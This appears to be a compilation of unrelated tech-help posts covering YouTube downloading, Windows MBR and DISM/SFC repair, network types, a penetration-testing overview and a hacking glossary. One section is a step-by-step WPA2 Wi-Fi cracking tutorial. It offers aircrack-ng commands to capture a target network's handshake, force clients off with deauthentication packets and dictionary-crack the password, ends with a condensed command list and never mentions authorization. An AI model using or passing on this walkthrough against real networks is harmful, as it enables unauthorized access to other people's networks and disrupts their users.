Step-by-Step Guide to Downloading YouTube Videos

 Here are the steps to download a YouTube video:

1. Find the video you want to download on YouTube.

2. Copy the video's URL from the address bar of your web browser.

3. Open a video download website, such as "savefrom.net" or "youtubeparser.com".

4. Paste the URL of the video into the download website.

5. Click the "Download" or "Convert" button on the website.

6. Wait for the video to be processed by the website.

7. Choose the format and resolution you want for the video.

8. Click the "Download" button to save the video to your computer.

Note: Some countries have laws regarding the download of copyrighted material, including YouTube videos. Before downloading a video, it is important to make sure it is legal to do so in your country.

HOW TO REPAIR MASTER BOOT RECORD (MBR) ON WINDOWS 10

 HOW TO REPAIR MASTER BOOT RECORD (MBR) ON WINDOWS 10

Sometimes the Master Boot Record (MBR) can get 

corrupted or misconfigured, preventing Windows 10 from load correctly, and in this guide, you'll learn how to fix this issue.

Master Boot Record (MBR), sometimes also referred to as the

 “master partition table” or “partition sector,” is a critical piece of 

information that enables a computer to find and identify the location of the operating system to allow Windows 10 to boot.

Sometimes, system settings changes or incorrectly shut down can corrupt the Master Boot Record due to viruses or other types of malware. Other times, you may even encounter the “Bootmgr Is Missing” error message that will prevent the device from starting.

If you ever come across such a problem, you will have to fix the MBR to enable Windows 10 to load again using a USB installation media and a few Command Prompt lines.

This guide will teach you the steps to repair the Master Boot Record on Windows 10.

Repair Master Boot Record on Windows 10

To fix MBR problems on a computer running Windows 10, use these steps:

Create a Windows 10 USB bootable media.

Change the device firmware settings to start from the bootable media. 

Quick tip: The process to change the settings for the Basic Input Output System (BIOS) or Unified Extensible Firmware Interface (UEFI) usually requires pressing one of the function keys (F1, F2, F3, F10, or F12), the ESC or Delete key. However, the process is usually different per manufacturer and device model. Check your manufacturer’s support website for more specific instructions.

Start the PC with the bootable media.
Click the Next button in the Windows 10 Setup.

Click the Repair your computer button from the lower-left corner.

Click the Troubleshoot button.
Click the Advanced options button.

Click the Command Prompt button.

In Command Prompt, you can use the Bootrec.exe tool to repair the Master Boot Record on Windows 10. The Bootrec.exe tool supports many options depending on your situation.

Use the FixMbr option when you need to repair Master Boot Record corruption problems or when you need to clean the code from the MBR. This command will not overwrite the existing partition table in the hard drive:

Bootrec /fixMbr

Use the FixBoot option when the boot sector was replaced with another non-standard code, the boot sector is damaged, or when you installed an early version of the operating system alongside another more recent version:

Bootrec /fixBoot

Use the ScanOS option when the Boot Manager menu does not list all the operating systems installed on the device. This option will scan all drives to find all compatible installations, and it will display the entries that are not in the BCD store:

Bootrec /ScanOS

Use the RebuildBcd option when you don’t have another option, and you must rebuild the BCD (Boot Configuration Data) store:

Bootrec /RebuildBcd

If troubleshooting the “Bootmgr Is Missing” error and rebuilding the BCD store does not fix the problem, use the following commands to export and erase the BCD store and use the RebuildBcd command again to fix the Windows 10 process.

While in the Command Prompt using the recovery environment, type the following commands and press Enter (on each line):

BCDedit /export C:\BCD_Backup
C:
CD boot
Attrib BCD -s -h -r
Ren C:\boot\bcd bcd.old
Bootrec /RebuildBcd

Press Y to confirm adding Windows 10 to the list of the bootable operating systems on the computer.

Click the “X” button to close Command Prompt.
Restart the computer.

Once you complete the steps, the Master Boot Record will now be repaired and Windows 10 should once again load normally.

If you aren’t sure about the problem with your computer, you should try all the commands in this guide to see if any of them repair the issue allowing you to boot again into Windows 10.

While the “bootrec” tool should be enough to repair the Master Boot Record, other related issues may require other command-line tools (such as Bootsect.exe or BCDboot), but they are beyond the scope of this guide.

We focus this guide on Windows 10, but these instructions should also work on Windows 8.1.

What is LAN , MAN & WAN l?

 • What is LAN? 

A LAN (Local Area Network) is a network confined to limited space, such as a building or floor. If you have multiple computers in your home or office, you have a Local Area Network (LAN). A LAN is usually under the control of the company or entity that requires its use. A LAN can be tiny or huge, with one or thousands of users and devices in an office or school. 

A LAN connects devices in a single, constrained area, regardless of size. A WAN or MAN, on the other hand, covers a greater geographic area. In addition, some WANs and MANs link several LANs. 

• What is WAN? 

A WAN (Wide Area Network) is a network mostly provided by a third-party Internet Service Provider that connects many local area networks (LANs) geographically separated. ONE EXAMPLE IS an MPLS Network (offered by a telecommunications provider) connecting company headquarters in New York, Boston, and Los Angeles. The Internet is the most significant WAN.

Why is my computer stuck on loading screen?

 1. Why is my computer stuck on loading screen?

This can happen after a driver update, some graphics issue, and sometimes even after a major Windows 10 Update or other problems. At this time, you can enter the Safe Mode, do nothing, and then reboot your computer.

2. How do you fix a stuck screen on a loading laptop?

If your Laptop stuck at loading screen (circles spin but no logo), follow steps below to fix.

Shut down your laptop > boot into system recovery (press f11 repeatedly as soon as you press the power button) > then, select "Troubleshoot"> "Advanced options"> "System Restore". Then, follow on-screen instructions to finish.

3. How do I fix Windows 7 stuck on loading screen?

To fix Windows 7 stuck at starting windows screen problem, you can try to change your computer memory or reinstall the computer memory. And then, restart the computer in Safe Mode. In Safe Mode, press Win + R keys to run MSCONFIG and press OK. Here, you should select the clean boot option by unchecking all the options under Selective Startup. At last, press "Apply" and restart Windows 7 in normal mode.

Cracking WPA2 wifi password using aircrack-ng Kali linux 2

 Cracking WPA2 wifi password using aircrack-ng Kali linux 2

Cracking WPA2 wifi password is not really an easy thing to do,
no you can't crack it with a click and there is no software that will give you the password without some hard work ...
don't run away still you can crack it  with few steps here :) and we will do it using aircrack-ng


requirements: To crack a wpa2-psk encrypted wifi password using aircrack-ng

1- Kali Linux or any Linux system with aircrack-ng installed
  a- if you don't have aircrack-ng suite get it by this commend in terminal
sudo apt-get install aircrack-ng
2- a wireless network adapter that support monitor mode like
  a- Alfa 2W AWUS036NH
  b- Alfa AWUS036H
  c- wifiy-city 56G
  d- and you can check this page here for card compatibility compatibility drivers
3- a word list comprising of all the possible different combination of pass-phrases

Now let's get to work
i will be using wifiy-city 56G card on Kali linux 2 sana

1) open up your terminal as root and type
ifconfig
this will show you all the networking interfaces connected to your device.


if your wireless network adapter is working fine you should see the " wlan0 " the name may change if you have more then one connected wireless adapter.

2) now to start monitor mode type
airmon-ng start wlan0 
'airmon-ng' is a traffic monitoring tool
‘wlan0’ is your wireless interface

after this commend we started the monitor mode
as it's seen the monitor mode is working under wlan0mon , so this is your card name for now
in the red area a list of process id’s that cause trouble during the process so kill those processes by typing
kill <pid>
 in my case
kill 743 898 1070 1071 1081 
 now type ifconfig and this will show the newly set monitoring interface i.e, wlan0mon . in most case it will be mon0 .

3) to show list of available WiFi network type
airodump-ng wlan0mon


airodump-ng is a wifi packets capturing tool
wlan0mon is my  monitoring interface
airodump-ng  will start capturing all packets and from the captured packets
select your target and note its ‘bssid’ (bssid = base service set identifier) and channel
then stop the capture using “cntrl+c“.

4) Start capturing the packets of your target network
type the following command
airodump-ng -c <channel> -w <name> --bssid <bssid> wlan0mon 
i.e:  airodump-ng -c 2 -w wifi --bssid C0:4A:00:F0:F4:24 wlan0mon 


 this will start the capturing of packets.
and if you get the handshake you wont need the aireplay command...
if you don't get the handshake yet
while the capturing of packets goes on, open a new terminal as root and type
aireplay-ng -0 0 -a <bssid> mon0
aireplay-ng = tool for deauthentication, fake authentication and other packet injections,
-0 = number associated for deauthentication,
0 = deauth count,
-a = bssid) here we are trying to send a deauthentication request.
In my case the command looks like
aireplay-ng -0 0 -a C0:4A:00:F0:F4:24 wlan0mon


after few seconds stop it using cntrl+c.
now after we have successful captured the wpa handshake

5) Stop the capturing using cntrl+c and type “ls” that would bring up all the current directories and files.
Select the file with “.cap“extension and type the following command
aircrack-ng -w <full location of the word list> <name of the file>
aircrack-ng is a tool that helps in cracking the password
In my case the command looks like
aircrack-ng -w /usr/share/wordlists/more_than_8.txt ********-01.cap
For the Wordlist Check this Post Best Password dictionary
Now it starts finding suitable passphrase.

and now all you have to do is wait till you see the lovely news ( KEY Found  ( your key is here ;) ).


all Step in few lines
1) airodump-ng wlan0mon
2) airodump-ng -c 9 -w wifi  --bssid C4:6E:1F:F6:34:B8 wlan0mon
3) aireplay-ng -0 0 -a C4:6E:1F:F6:34:B8 wlan0mon
4) aircrack-ng -w /usr/share/wordlists/more_than_8.txt wifi-01.cap

have a great day :)
you can check the video in youtube and see how its working and cracking 
https://www.youtube.com/watch?v=hZEpHLZkIJI

Best wifi Adapter to work with Aircark 
                Here is a list of Wireless cards that support injection and monitor mode
1. Alfa AWUS036NHA –(2.4GHz) http://amzn.to/1RzUNKR
2. TP-LINK TP-WN722N $13.44 http://amzn.to/1SMe8b1
3. AWUS036H – (2.4GHz) $26.99 http://amzn.to/1UDrZnr
4.TP-Link WN722N (2.4GHz) $18.97 http://amzn.to/1UDsii4
5.D-Link DWA-110 http://amzn.to/1RXovvp

🔰Penetration Testing🔰

 🔰Penetration Testing🔰

  

Penetration Testing is a method that many companies follow in order to minimize their security breaches. This is a controlled way of hiring a professional who will try to hack your system and show you the loopholes that you should fix.

Before doing a penetration test, it is mandatory to have an agreement that will explicitly mention the following parameters −

>what will be the time of penetration test,

>where will be the IP source of the attack, and

>what will be the penetration fields of the system.

Penetration testing is conducted by professional ethical hackers who mainly use commercial, open-source tools, automate tools and manual checks. There are no restrictions; the most important objective here is to uncover as many security flaws as possible.

⭕️Types of Penetration Testing

1️⃣Black Box − Here, the ethical hacker doesn’t have any information regarding the infrastructure or the network of the organization that he is trying to penetrate. In black-box penetration testing, the hacker tries to find the information by his own means.

2️⃣Grey Box − It is a type of penetration testing where the ethical hacker has a partial knowledge of the infrastructure, like its domain name server.

3️⃣White Box − In white-box penetration testing, the ethical hacker is provided with all the necessary information about the infrastructure and the network of the organization that he needs to penetrate.

4️⃣External Penetration Testing − This type of penetration testing mainly focuses on network infrastructure or servers and their software operating under the infrastructure. In this case, the ethical hacker tries the attack using public networks through the Internet. The hacker attempts to hack the company infrastructure by attacking their webpages, webservers, public DNS servers, etc.

5️⃣Internal Penetration Testing − In this type of penetration testing, the ethical hacker is inside the network of the company and conducts his tests from there.

Penetration testing can also cause problems such as system malfunctioning, system crashing, or data loss. Therefore, a company should take calculated risks before going ahead with penetration testing. The risk is calculated as follows and it is a management risk.

⚠️List of terms used in the field of hacking.⚠️

 ⚠️List of terms used in the field of hacking.⚠️

🚩Adware − Adware is software designed to force pre-chosen ads to display on your system.

🚩Attack − An attack is an action that is done on a system to get its access and extract sensitive data.

🚩Back door − A back door, or trap door, is a hidden entry to a computing device or software that bypasses security measures, such as logins and password protections.

🚩Bot − A bot is a program that automates an action so that it can be done repeatedly at a much higher rate for a more sustained period than a human operator could do it. For example, sending HTTP, FTP or Telnet at a higher rate or calling script to create objects at a higher rate.

🚩Botnet − A botnet, also known as zombie army, is a group of computers controlled without their owners’ knowledge. Botnets are used to send spam or make denial of service attacks.

🚩Brute force attack − A brute force attack is an automated and the simplest kind of method to gain access to a system or website. It tries different combination of usernames and passwords, over and over again, until it gets in.

🚩Buffer Overflow − Buffer Overflow is a flaw that occurs when more data is written to a block of memory, or buffer, than the buffer is allocated to hold.

🚩Clone phishing − Clone phishing is the modification of an existing, legitimate email with a false link to trick the recipient into providing personal information.

🚩Cracker − A cracker is one who modifies the software to access the features which are considered undesirable by the person cracking the software, especially copy protection features.

🚩Denial of service attack (DoS) − A denial of service (DoS) attack is a malicious attempt to make a server or a network resource unavailable to users, usually by temporarily interrupting or suspending the services of a host connected to the Internet.

🚩DDoS − Distributed denial of service attack.

🚩Exploit Kit − An exploit kit is software system designed to run on web servers, with the purpose of identifying software vulnerabilities in client machines communicating with it and exploiting discovered vulnerabilities to upload and execute malicious code on the client.

🚩Exploit − Exploit is a piece of software, a chunk of data, or a sequence of commands that takes advantage of a bug or vulnerability to compromise the security of a computer or network system.

🚩Firewall − A firewall is a filter designed to keep unwanted intruders outside a computer system or network while allowing safe communication between systems and users on the inside of the firewall.

🚩Keystroke logging − Keystroke logging is the process of tracking the keys which are pressed on a computer (and which touchscreen points are used). It is simply the map of a computer/human interface. It is used by gray and black hat hackers to record login IDs and passwords. Keyloggers are usually secreted onto a device using a Trojan delivered by a phishing email.

🚩Logic bomb − A virus secreted into a system that triggers a malicious action when certain conditions are met. The most common version is the time bomb.

🚩Malware − Malware is an umbrella term used to refer to a variety of forms of hostile or intrusive software, including computer viruses, worms, Trojan horses, ransomware, spyware, adware, scareware, and other malicious programs.

🚩Master Program − A master program is the program a black hat hacker uses to remotely transmit commands to infected zombie drones, normally to carry out Denial of Service attacks or spam attacks.

🚩Phishing − Phishing is an e-mail fraud method in which the perpetrator sends out legitimate-looking emails, in an attempt to gather personal and financial information from recipients.

🚩Phreaker − Phreakers are considered the original computer hackers and they are those who break into the telephone network illegally, typically to make free longdistance phone calls or to tap phone lines.

How to use DISM command tool to repair Windows 10 image

 

How to use DISM command tool to repair Windows 10 image

If Windows 10 has missing or corrupted files, this guide will show you how to repair the setup using the DISM and SFC command tools.

On Windows 10, the Deployment Image Servicing and Management is a command-line tool that allows administrators to prepare, modify, and repair system images, including Windows Recovery Environment, Windows Setup, and Windows PE (WinPE). However, you can also use it with the local recovery image to fix system problems.

Typically, when you need to troubleshoot a specific error, figure out why the computer no longer boots correctly, or resolve performance issues, you can use the System File Checker tool to replace missing or corrupted system files using the recovery image. The caveat utilizing this approach is that if one or more Windows 10 files in the local image are damaged, the SFC command won't work. In this scenario, you can use the "install.wim" image with DISM to repair the image and then use the SFC tool to fix the setup without having to reinstall Windows.

In this Windows 10 guide, we will walk you through the steps to use the DISM and SFC tools to bring a computer back to a healthy working state without the need for reinstallation.

Warning: The commands outlined in this guide are non-destructive, but since you will be making system changes, it is still recommended to create a temporary 

PLAY SOUND

How to use DISM to repair image of Windows 10

On Windows 10, the DISM command tool includes three options to repair an image, including "CheckHealth," "ScanHealth," and "RestoreHealth," which you want to use in order. Also, depending on the issue, you can use the "RestoreHealth" option to fix the locally available image using different source files.

DISM command with CheckHealth option

The CheckHealth option with the DISM tool allows you to determine any corruptions inside the local Windows 10 image. However, the option does not perform any repairs.

To check the Windows 10 image for issues with DISM, use these steps:

1.      Open Start.

2.      Search for Command Prompt, right-click the top result, and select the Run as administrator option.

3.      Type the following command to perform a quick check and press Enter:DISM /Online /Cleanup-Image /CheckHealth

Source: Windows Central (Image credit: Source: Windows Central)

Once you complete the steps, the Deployment Image Servicing and Management tool will run and verify any data corruption that may require fixing.

DISM command with ScanHealth option

The ScanHealth option does a more advanced scan to find out whether the image has any problems.

To check image problems with the ScanHealth option, use these steps:

1.      Open Start.

2.      Search for Command Prompt, right-click the top result, and select the Run as administrator option.

3.      Type the following command to perform an advanced DISM scan and press Enter:DISM /Online /Cleanup-Image /ScanHealth

Source: Windows Central (Image credit: Source: Windows Central)

After you complete the steps, the scan may take several minutes to check whether the Windows 10 image needs repairing.

DISM command with RestoreHealth option

If there are problems with the system image, use DISM with the RestoreHealth option to automatically scan and repair common issues.

To repair Windows 10 image problems with the DISM command tool, use these steps:

1.      Open Start.

2.      Search for Command Prompt, right-click the top result, and select the Run as administrator option.

3.      Type the following command to repair the Windows 10 image and press Enter:DISM /Online /Cleanup-Image /RestoreHealthQuick note: If the command appears stuck, this is normal behavior. After a few minutes, the process will complete successfully.

Source: Windows Central (Image credit: Source: Windows Central)

Once you complete the steps, the tool will connect to Windows Update online to download and replace damaged files (as necessary).

Fix problems with DISM using install.wim image

The Deployment Image Servicing and Management command usually doesn't cause issues. However, if the tool finds problems replacing the damaged files or the computer isn't connected to the internet, you will need to provide another image using the Source option. Typically, you can use an "install.wim" or "install.esd" file from another device, bootable install media, or Windows 10 ISO file. You only need to make sure that the files match the version, edition, and language of the version of Windows 10 you are trying to fix.

Download Windows 10 ISO file

If you need to use another file source, it is recommended to use the Media Creation Tool to download a fresh copy of Windows 10.

To download the ISO file of Windows 10, use these steps:

1.      Open this Microsoft support website(opens in new tab).

2.      Click the Download tool now button.

3.      Double-click the MediaCreationToolxxxx.exe file to launch the setup.

4.      Click the Accept button to agree to the terms.

5.      Select the Create installation media (USB flash drive, DVD, or ISO file) for another PC option.

Source: Windows Central (Image credit: Source: Windows Central)

6.                  Click the Next button.

7.                  Click the Next button again.

Source: Windows Central (Image credit: Source: Windows Central)

8.                  Select the ISO file option.

Source: Windows Central (Image credit: Source: Windows Central)

9.                  Click the Next button.

10.              Select the destination to store the Windows 10 ISO file.

11.              Click the Save button.

12.              Click the link to open the file location with File Explorer.

Source: Windows Central (Image credit: Source: Windows Central)

13.              Click the Finish button.

14.              Double-click the Windows.iso file to mount the image.

15.              Under the "This PC" section, confirm the drive letter for the mount point.

Source: Windows Central (Image credit: Source: Windows Central)

After you complete the steps, you can continue with the DISM tool using the "Source" option to repair the local image.

Fix Windows 10 recovery image

To run Deployment Image Servicing and Management tool with an alternate source (install.wim) image, use these steps:

1.      Open Start.

2.      Search for Command Prompt, right-click the top result, and select the Run as administrator option.

3.      Type the following command to repair the Windows 10 image and press Enter:DISM /Online /Cleanup-Image /RestoreHealth /Source:E:\Sources\install.wimIn the command, replace "F" with the ISO mount point drive letter in File Explorer.

Source: Windows Central (Image credit: Source: Windows Central)

4.                  (Optional) Type the following command to limit the use of Windows Update and press Enter:DISM /Online /Cleanup-Image /RestoreHealth /Source:E\Sources\install.wim /LimitAccess

5.                  (Optional) Type the following variant of the previous command to accomplish the same task and press Enter:DISM /Online /Cleanup-Image /RestoreHealth /Source:wim:E:\Sources\install.wim:1 /LimitAccessIn the command, change E:\Sources, for the path to the "install.wim" file.

Once you complete the steps, the command will scan and repair the problems using the "install.wim" file you specified as the alternative source.

Fix problems with DISM using ESD image

If you have an encrypted "install.esd" image, it's possible to use it to repair the damaged files on Windows 10.

To use DISM with an "install.esd" image file as the source to repair Windows 10, use these steps:

1.      Open Start.

2.      Search for Command Prompt, right-click the top result, and select the Run as administrator option.

3.      Type the following command to repair the image with an "install.esd" file and press Enter:DISM /Online /Cleanup-Image /RestoreHealth /Source:C:\ESD\Windows\sources\install.esdIn the command, change C:\ESD\Windows\sources with the path to the location of the ".esd" file (if different).

Source: Windows Central (Image credit: Source: Windows Central)

4.                  (Optional) Type the following command to limit the use of Windows Update and press Enter:DISM /Online /Cleanup-Image /RestoreHealth /Source:C:\ESD\Windows\sources\install.esd /LimitAccess

5.                  (Optional) Type the following variant of the previous command to accomplish the same task and press Enter:DISM /Online /Cleanup-Image /RestoreHealth /Source:esd:C:\ESD\Windows\sources\install.esd:1 /LimitAccess

6.                  (Optional) Type the following command to use an install.esd file located in another drive and press Enter:DISM /Online /Cleanup-Image /RestoreHealth /Source:E:\Sources\install.esdIn the command, replace E:\Sources with the path to the location of the "install.esd" file.

After you complete the steps, the tool will repair the damaged files using the files included in the "install.esd" image.

How to run SFC to repair problems on Windows 10

The above instructions will resolve problems with the system image, not the issues with the Windows 10 installation. After restoring the image to a healthy state, use the System File Checker (SFC) command tool to repair the current setup.

To use the SFC command tool to repair Windows 10 problems, use these steps:

1.      Open Start.

2.      Search for Command Prompt, right-click the top result, and select the Run as administrator option.

3.      Type the following command to repair the installation and press Enter:SFC /scannowQuick tip: If errors are found, you may want to run the command around three times to ensure that everything was fixed correctly.

Source: Windows Central (Image credit: Source: Windows Central)

Once you complete the steps, the System File Checker tool will repair the system files using the local image files, and the log files will be saved on

%windir%/Logs/CBS/CBS.log

and

%windir%\Logs\DISM\dism.log

, which you can view to get more details about the process.

You can use this guide to learn more ways to use the SFC tool to fix problems on Windows 10.